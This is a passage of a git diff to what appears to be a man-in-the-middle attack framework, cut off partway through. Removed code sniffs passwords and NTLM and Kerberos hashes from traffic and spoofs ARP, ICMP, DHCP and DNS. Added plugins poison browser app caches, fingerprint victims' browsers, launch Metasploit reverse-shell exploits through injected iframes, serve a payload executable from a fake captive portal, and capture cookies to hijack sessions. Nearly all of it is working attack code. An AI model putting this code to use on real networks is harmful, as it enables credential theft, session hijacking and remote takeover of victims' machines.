dst_ip_port, msg) - - self.mail_decode(src_ip_port, dst_ip_port, mail_creds) - try: - del self.mail_auths[src_ip_port] - except KeyError: - pass - found = True - - # Mail auth regex was found and src_ip_port is not in mail_auths - # Pkt was just the initial auth cmd, next pkt from client will hold creds - if len(self.mail_auths) > 100: - self.mail_auths.popitem(last=False) - self.mail_auths[src_ip_port] = [ack] - - # At least 1 mail login style doesn't fit in the original regex: - # 1 login "username" "password" - # This also catches FTP authentication! - # 230 Login successful. - elif re.match(self.mail_auth_re1, full_load, re.IGNORECASE) != None: - - # FTP authentication failures trigger this - #if full_load.lower().startswith('530 login'): - # return - - auth_msg = full_load - auth_msg = auth_msg.split() - if 2 < len(auth_msg) < 5: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Authentication: %s' % mail_creds - self.printer(src_ip_port, dst_ip_port, msg) - self.mail_decode(src_ip_port, dst_ip_port, mail_creds) - found = True - - if found == True: - return True - - def irc_logins(self, full_load): - ''' - Find IRC logins - ''' - user_search = re.match(self.irc_user_re, full_load) - pass_search = re.match(self.irc_pw_re, full_load) - if user_search: - msg = 'IRC nick: %s' % user_search.group(1) - return msg - if pass_search: - msg = 'IRC pass: %s' % pass_search.group(1) - self.printer(src_ip_port, dst_ip_port, msg) - return pass_search - - def headers_to_dict(self, header_lines): - ''' - Convert the list of header lines into a dictionary - ''' - headers = {} - # Incomprehensible list comprehension flattens list of headers - # that are each split at ': ' - # http://stackoverflow.com/a/406296 - headers_list = [x for line in header_lines for x in line.split(': ', 1)] - headers_dict = dict(zip(headers_list[0::2], headers_list[1::2])) - # Make the header key (like "Content-Length") lowercase - for header in headers_dict: - headers[header.lower()] = headers_dict[header] - - return headers - - def parse_http_load(self, full_load, http_methods): - ''' - Split the raw load into list of headers and body string - ''' - try: - headers, body = full_load.split("\r\n\r\n", 1) - except ValueError: - headers = full_load - body = '' - header_lines = headers.split("\r\n") - - # Pkts may just contain hex data and no headers in which case we'll - # still want to parse them for usernames and password - http_line = self.get_http_line(header_lines, http_methods) - if not http_line: - headers = '' - body = full_load - - header_lines = [line for line in header_lines if line != http_line] - - return http_line, header_lines, body - - def get_http_line(self, header_lines, http_methods): - ''' - Get the header with the http command - ''' - for header in header_lines: - for method in http_methods: - # / is the only char I can think of that's in every http_line - # Shortest valid: "GET /", add check for "/"? - if header.startswith(method): - http_line = header - return http_line - - - def other_parser(self, src_ip_port, dst_ip_port, full_load, ack, seq, pkt): - - #For now we will parse the HTTP headers through scapy and not through Twisted - #This will have to get changed in the future, seems a bit redundent - http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] - http_line, header_lines, body = self.parse_http_load(full_load, http_methods) - headers = self.headers_to_dict(header_lines) - - # Kerberos over TCP - decoded = self.Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = self.ParseMSKerbv5TCP(decoded['data'][20:]) - if kerb_hash: - self.printer(src_ip_port, dst_ip_port, kerb_hash) - - # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL) - NTLMSSP2 = re.search(self.NTLMSSP2_re, full_load, re.DOTALL) - NTLMSSP3 = re.search(self.NTLMSSP3_re, full_load, re.DOTALL) - if NTLMSSP2: - self.parse_ntlm_chal(NTLMSSP2.group(), ack) - if NTLMSSP3: - ntlm_resp_found = self.parse_ntlm_resp(NTLMSSP3.group(), seq) - if ntlm_resp_found != None: - self.printer(src_ip_port, dst_ip_port, ntlm_resp_found) - - # Look for authentication headers - if len(headers) == 0: - authenticate_header = None - authorization_header = None - for header in headers: - authenticate_header = re.match(self.authenticate_re, header) - authorization_header = re.match(self.authorization_re, header) - if authenticate_header or authorization_header: - break - - if authorization_header or authenticate_header: - # NETNTLM - netntlm_found = self.parse_netntlm(authenticate_header, authorization_header, headers, ack, seq) - if netntlm_found != None: - self.printer(src_ip_port, dst_ip_port, netntlm_found) - - def parse_netntlm(self, authenticate_header, authorization_header, headers, ack, seq): - ''' - Parse NTLM hashes out - ''' - # Type 2 challenge from server - if authenticate_header != None: - chal_header = authenticate_header.group() - self.parse_netntlm_chal(headers, chal_header, ack) - - # Type 3 response from client - elif authorization_header != None: - resp_header = authorization_header.group() - msg = self.parse_netntlm_resp_msg(headers, resp_header, seq) - if msg != None: - return msg - - def parse_snmp(self, src_ip_port, dst_ip_port, snmp_layer): - ''' - Parse out the SNMP version and community string - ''' - if type(snmp_layer.community.val) == str: - ver = snmp_layer.version.val - msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) - self.printer(src_ip_port, dst_ip_port, msg) - return True - - def parse_netntlm_chal(self, headers, chal_header, ack): - ''' - Parse the netntlm server challenge - https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py - ''' - header_val2 = headers[chal_header] - header_val2 = header_val2.split(' ', 1) - # The header value can either start with NTLM or Negotiate - if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': - msg2 = header_val2[1] - msg2 = base64.decodestring(msg2) - self.parse_ntlm_chal(ack, msg2) - - def parse_ntlm_chal(self, msg2, ack): - ''' - Parse server challenge - ''' - - Signature = msg2[0:8] - msg_type = struct.unpack(" 50: - self.challenge_acks.popitem(last=False) - self.challenge_acks[ack] = ServerChallenge - - def parse_netntlm_resp_msg(self, headers, resp_header, seq): - ''' - Parse the client response to the challenge - ''' - header_val3 = headers[resp_header] - header_val3 = header_val3.split(' ', 1) - - # The header value can either start with NTLM or Negotiate - if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate': - msg3 = base64.decodestring(header_val3[1]) - return self.parse_ntlm_resp(msg3, seq) - - def parse_ntlm_resp(self, msg3, seq): - ''' - Parse the 3rd msg in NTLM handshake - Thanks to psychomario - ''' - - if seq in self.challenge_acks: - challenge = self.challenge_acks[seq] - else: - challenge = 'CHALLENGE NOT FOUND' - - if len(msg3) > 43: - # Thx to psychomario for below - lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44]) - lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen]) - nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen]) - domain = msg3[domoff:domoff+domlen].replace("\0", "") - user = msg3[useroff:useroff+userlen].replace("\0", "") - # Original check by psychomario, might be incorrect? - #if lmhash != "0"*48: #NTLMv1 - if ntlen == 24: #NTLMv1 - msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge) - return msg - elif ntlen > 60: #NTLMv2 - msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:]) - return msg - - def printer(self, src_ip_port, dst_ip_port, msg): - if dst_ip_port != None: - print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg) - # All credentials will have dst_ip_port, URLs will not - mitmf_logger.info(print_str) - else: - print_str = '%s %s' % (src_ip_port.split(':')[0], msg) - mitmf_logger.info(print_str) diff --git a/plugins/Spoof.py b/plugins/Spoof.py deleted file mode 100644 index 4b6d72e..0000000 --- a/plugins/Spoof.py +++ /dev/null @@ -1,128 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import sys - -from core.utils import SystemConfig, IpTables -from core.sslstrip.DnsCache import DnsCache -from core.wrappers.protocols import _ARP, _DHCP, _ICMP -from plugins.plugin import Plugin -from libs.dnschef.dnschef import DNSChef - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * - -class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - version = "0.6" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.dnscfg = options.configfile['MITMf']['DNS'] - self.dhcpcfg = options.configfile['Spoof']['DHCP'] - self.target = options.target - self.manualiptables = options.manualiptables - self.protocolInstances = [] - - #Makes scapy more verbose - debug = False - if options.log_level is 'debug': - debug = True - - if options.arp: - - if not options.gateway: - sys.exit("[-] --arp argument requires --gateway") - - arp = _ARP(options.gateway, options.interface, options.mac_address) - arp.target = options.target - arp.arpmode = options.arpmode - arp.debug = debug - - self.protocolInstances.append(arp) - - elif options.icmp: - - if not options.gateway: - sys.exit("[-] --icmp argument requires --gateway") - - if not options.target: - sys.exit("[-] --icmp argument requires --target") - - icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) - icmp.debug = debug - - self.protocolInstances.append(icmp) - - elif options.dhcp: - - if options.target: - sys.exit("[-] --target argument invalid when DCHP spoofing") - - dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) - dhcp.shellshock = options.shellshock - dhcp.debug = debug - self.protocolInstances.append(dhcp) - - if options.dns: - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port']) - - DNSChef.getInstance().loadRecords(self.dnscfg) - - if not options.arp and not options.icmp and not options.dhcp and not options.dns: - sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") - - SystemConfig.setIpForwarding(1) - - if not options.manualiptables: - if IpTables.getInstance().http is False: - IpTables.getInstance().HTTP(options.listen) - - for protocol in self.protocolInstances: - protocol.start() - - def add_options(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]') - options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') - #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') - - def finish(self): - for protocol in self.protocolInstances: - protocol.stop() - - if not self.manualiptables: - IpTables.getInstance().Flush() - - SystemConfig.setIpForwarding(0) diff --git a/plugins/__init__.py b/plugins/__init__.py index 5026fd4..9522dbd 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,6 +1,3 @@ -#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python -#Has to be a cleaner way to do this, but it works for now import os import glob __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] - diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py new file mode 100644 index 0000000..505c5f6 --- /dev/null +++ b/plugins/appcachepoison.py @@ -0,0 +1,173 @@ +# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re +import os.path +import time +import sys + +from datetime import date +from plugins.plugin import Plugin + +class AppCachePlugin(Plugin): + name = "AppCachePoison" + optname = "appoison" + desc = "Performs App Cache Poisoning attacks" + version = "0.3" + + def initialize(self, options): + self.options = options + self.mass_poisoned_browsers = [] + + from core.sslstrip.URLMonitor import URLMonitor + self.urlMonitor = URLMonitor.getInstance() + self.urlMonitor.caching = True + self.urlMonitor.setAppCachePoisoning() + + def response(self, response, request, data): + + self.app_config = self.config['AppCachePoison'] + url = request.client.uri + req_headers = request.client.getAllHeaders() + headers = request.client.responseHeaders + ip = request.client.getClientIP() + + if "enable_only_in_useragents" in self.app_config: + regexp = self.app_config["enable_only_in_useragents"] + if regexp and not re.search(regexp,req_headers["user-agent"]): + self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo) + return {'response': response, 'request': request, 'data': data} + + urls = self.urlMonitor.getRedirectionSet(url) + self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) + + section = False + for url in urls: + for name in self.app_config: + if isinstance(self.app_config[name], dict): #'tis a section + section = self.app_config[name] + + if section.get('manifest_url', False) == url: + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo) + data = self.getSpoofedManifest(url, section) + headers.setRawHeaders("Content-Type", ["text/cache-manifest"]) + + elif section.get('raw_url',False) == url: # raw resource to modify, it does not have to be html + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + p = self.getTemplatePrefix(section) + self.clientlog.info("Poisoning raw URL", extra=request.clientInfo) + if os.path.exists(p + '.replace'): # replace whole content + with open(p + '.replace', 'r') as f: + data = f.read() + + elif os.path.exists(p + '.append'): # append file to body + with open(p + '.append', 'r') as f: + data += f.read() + + elif (section.get('tamper_url',False) == url) or (section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url)): + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + p = self.getTemplatePrefix(section) + self.clientlog.info("Poisoning URL with tamper template: {}".format(p), extra=request.clientInfo) + if os.path.exists(p + '.replace'): # replace whole content + with open(p + '.replace', 'r') as f: + data = f.read() + + elif os.path.exists(p + '.append'): # append file to body + with open(p + '.append', 'r') as f: + appendix = f.read() + data = re.sub(re.compile("", re.IGNORECASE), appendix + "", data) #append to body + + # add manifest reference + data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip + return data + + def getMassPoisonHtml(self): + html = "
" + for i in self.app_config: + if isinstance(self.app_config[i], dict): + if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False): + html += "" + + return html + "
" + + def cacheForFuture(self, headers): + ten_years = 315569260 + headers.setRawHeaders("Cache-Control",["max-age={}".format(ten_years)]) + headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh + in_ten_years = date.fromtimestamp(time.time() + ten_years) + headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) + + def getSpoofedManifest(self, url, section): + p = self.getTemplatePrefix(section) + if not os.path.exists(p+'.manifest'): + p = self.getDefaultTemplatePrefix() + + with open(p + '.manifest', 'r') as f: + manifest = f.read() + return self.decorate(manifest, section) + + def decorate(self, content, section): + for entry in section: + content = content.replace("%%{}%%".format(entry), section[entry]) + return content + + def getTemplatePrefix(self, section): + if section.has_key('templates'): + return self.app_config['templates_path'] + '/' + section['templates'] + + return self.getDefaultTemplatePrefix() + + def getDefaultTemplatePrefix(self): + return self.app_config['templates_path'] + '/default' + + def getManifestUrl(self, section): + return section.get("manifest_url",'/robots.txt') diff --git a/plugins/browserprofiler.py b/plugins/browserprofiler.py new file mode 100644 index 0000000..6f3f564 --- /dev/null +++ b/plugins/browserprofiler.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import json + +from pprint import pformat +from plugins.plugin import Plugin +from plugins.inject import Inject + +class BrowserProfiler(Inject, Plugin): + name = "BrowserProfiler" + optname = "browserprofiler" + desc = "Attempts to enumerate all browser plugins of connected clients" + version = "0.3" + + def initialize(self, options): + Inject.initialize(self, options) + self.js_file = "./core/javascript/plugindetect.js" + self.output = {} # so other plugins can access the results + + def request(self, request): + if (request.command == 'POST') and ('clientprfl' in request.uri): + request.handle_post_output = True + self.output = json.loads(request.postData) + self.output['ip'] = request.client.getClientIP() + pretty_output = pformat(self.output) + self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo) + + def options(self, options): + pass diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py new file mode 100644 index 0000000..ea11fa6 --- /dev/null +++ b/plugins/browsersniper.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import threading +from time import sleep +from plugins.plugin import Plugin +from plugins.browserprofiler import BrowserProfiler + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + + def initialize(self, options): + self.options = options + self.msfip = options.ip + self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + from core.msfrpc import Msf + self.msf = Msf() + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) + + t = threading.Thread(name='sniper', target=self.snipe) + t.setDaemon(True) + t.start() + + def _setupExploit(self, exploit, msfport): + + self.log.debug('Setting up {}'.format(exploit)) + rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + rand_port = random.randint(1000, 65535) + + #generate the command string to send to the virtual console + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + self.msf.sendcommand(cmd) + + return rand_url + + def _compat_system(self, os_config, brw_config, os, browser): + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = [] + vic_ip = self.output['ip'] + os = self.output['ua_name'] + browser = self.output['os_name'] + java = None + flash = None + + if self.output['java'] is not None: + java = self.output['java'] + + if self.output['flash'] is not None: + flash = self.output['flash'] + + self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash)) + + for exploit, details in self.config['BrowserSniper']['exploits'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (flash in details['PluginVersions']): + exploits.append(exploit) + + self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + self.log.info("{} => Now injecting iframe to trigger exploits".format(ip)) + self.html_url = url + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip)) + + poll_n = 1 + while poll_n != 30: + + if self.msf.sessionsfrompeer(ip): + self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped + self.html_url = None + return + + poll_n += 1 + sleep(2) + + self.log.info("{} => Session not established after 60 seconds".format(ip)) + self.html_url = None + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + + if vic_ip not in self.sploited_ips: + msfport = self.config['BrowserSniper']['msfport'] + exploits = self.getExploits() + + if not exploits: + self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + for exploit in exploits: + + jobs = self.msf.findjobs(exploit) + if jobs: + self.log.info('{} => {} already started'.format(vic_ip, exploit)) + url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit + else: + url = self._setupExploit(exploit, msfport) + + iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url) + self.injectAndPoll(vic_ip, iframe_url) + + sleep(1) diff --git a/plugins/captive.py b/plugins/captive.py new file mode 100755 index 0000000..7bbaa94 --- /dev/null +++ b/plugins/captive.py @@ -0,0 +1,149 @@ +# Copyright (c) 2014-2016 Oliver Nettinger, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +# note: portal.html has been adapted from +# config/responder/AccessDenied.html for now + +from plugins.plugin import Plugin +from urlparse import urlparse + + +class Captive(Plugin): + name = "Captive Portal" + optname = "captive" + tree_info = ["Captive Portal online"] + desc = "Be a captive portal!" + version = "0.1" + + def initialize(self, options): + self.options = options + + from core.utils import shutdown + + if options.portalurl: + self.portalurl = options.portalurl + else: + # self.options.ip is prefilled earlier + self.hostname = 'captive.portal' if self.options.usedns else self.options.ip + + if options.portaldir: + self.serve_dir(options.portaldir) + else: + self.serve_portal() + + def response(self, response, request, data): + + if urlparse(self.portalurl).hostname not in request.headers['host']: + self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo) + response.headers = {} + data = ''' + +

Please click here if you are not redirected automatically

+ + '''.format(self.portalurl) + response.redirect(self.portalurl) + + return {'response': response, 'request':request, 'data': data} + + def options(self, options): + ''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or + start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) ''' + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.') + group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).') + + options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.') + + def on_shutdown(self): + '''This will be called when shutting down''' + pass + + def serve_portal(self): + + self.portalurl = 'http://{}/portal.html'.format(self.hostname) + + from core.servers.HTTP import HTTP + HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html') + HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename']) + self.tree_info.append("Portal login served by built-in HTTP server.") + + + def serve_dir(self, dir): + import threading + import posixpath + import urllib + import os + from SimpleHTTPServer import SimpleHTTPRequestHandler + from BaseHTTPServer import HTTPServer as ServerClass + Protocol = "HTTP/1.0" + port = self.config['Captive']['Port'] + ServerString = self.config['Captive']['ServerString'] + + self.portalurl = "http://{}:{}/".format(self.hostname, port) + + ROUTES = (['', dir],) + class HandlerClass(SimpleHTTPRequestHandler): + '''HandlerClass adapted from https://gist.github.com/creativeaura/5546779''' + + def translate_path(self, path): + '''translate path given routes''' + + # set default root to cwd + root = os.getcwd() + + # look up routes and set root directory accordingly + for pattern, rootdir in ROUTES: + if path.startswith(pattern): + # found match! + path = path[len(pattern):] # consume path up to pattern len + root = rootdir + break + + # normalize path and prepend root directory + path = path.split('?',1)[0] + path = path.split('#',1)[0] + path = posixpath.normpath(urllib.unquote(path)) + words = path.split('/') + words = filter(None, words) + + path = root + for word in words: + drive, word = os.path.splitdrive(word) + head, word = os.path.split(word) + if word in (os.curdir, os.pardir): + continue + path = os.path.join(path, word) + + return path + + + server_address = ('0.0.0.0', int(port)) + HandlerClass.protocol_version = Protocol + HandlerClass.server_version = ServerString + + httpd = ServerClass(server_address, HandlerClass) + ServerClass.path = dir + + sa = httpd.socket.getsockname() + try: + t = threading.Thread(name='PortalServer', target=httpd.serve_forever) + t.setDaemon(True) + t.start() + self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir)) + except Exception as e: + shutdown("Failed to start Portal Server") diff --git a/plugins/ferretng.py b/plugins/ferretng.py new file mode 100644 index 0000000..fbe7e7d --- /dev/null +++ b/plugins/ferretng.py @@ -0,0 +1,95 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import json +import sys + +from datetime import datetime +from plugins.plugin import Plugin +from twisted.internet import reactor +from twisted.web import http +from core.ferretng.URLMonitor import URLMonitor + +class FerretNG(Plugin): + name = "Ferret-NG" + optname = "ferretng" + desc = "Captures cookies and starts a proxy that will feed them to connected clients" + version = "0.1" + + def initialize(self, options): + self.options = options + self.ferret_port = options.ferret_port + self.cookie_file = None + + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + + from core.utils import shutdown + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = json.dumps(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) + + self.tree_info.append("Listening on port {}".format(self.ferret_port)) + + def on_config_change(self): + self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + + def request(self, request): + if 'cookie' in request.headers: + host = request.headers['host'] + cookie = request.headers['cookie'] + client = request.client.getClientIP() + + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] + + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) + entry['host'] = host + entry['cookie'] = cookie + return + + self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) + + def reactor(self, StrippingProxy): + from core.ferretng.FerretProxy import FerretProxy + FerretFactory = http.HTTPFactory(timeout=10) + FerretFactory.protocol = FerretProxy + reactor.listenTCP(self.ferret_port, FerretFactory) + + def options(self, options): + options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') + + def on_shutdown(self): + if not URLMonitor.getInstance().cookies: + return + + if self.cookie_file == URLMonitor.getInstance().cookies: + return + + self.log.info("Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) diff --git a/plugins/filepwn.py b/plugins/filepwn.py new file mode 100644 index 0000000..571d5ed --- /dev/null +++ b/plugins/filepwn.py @@ -0,0 +1,677 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 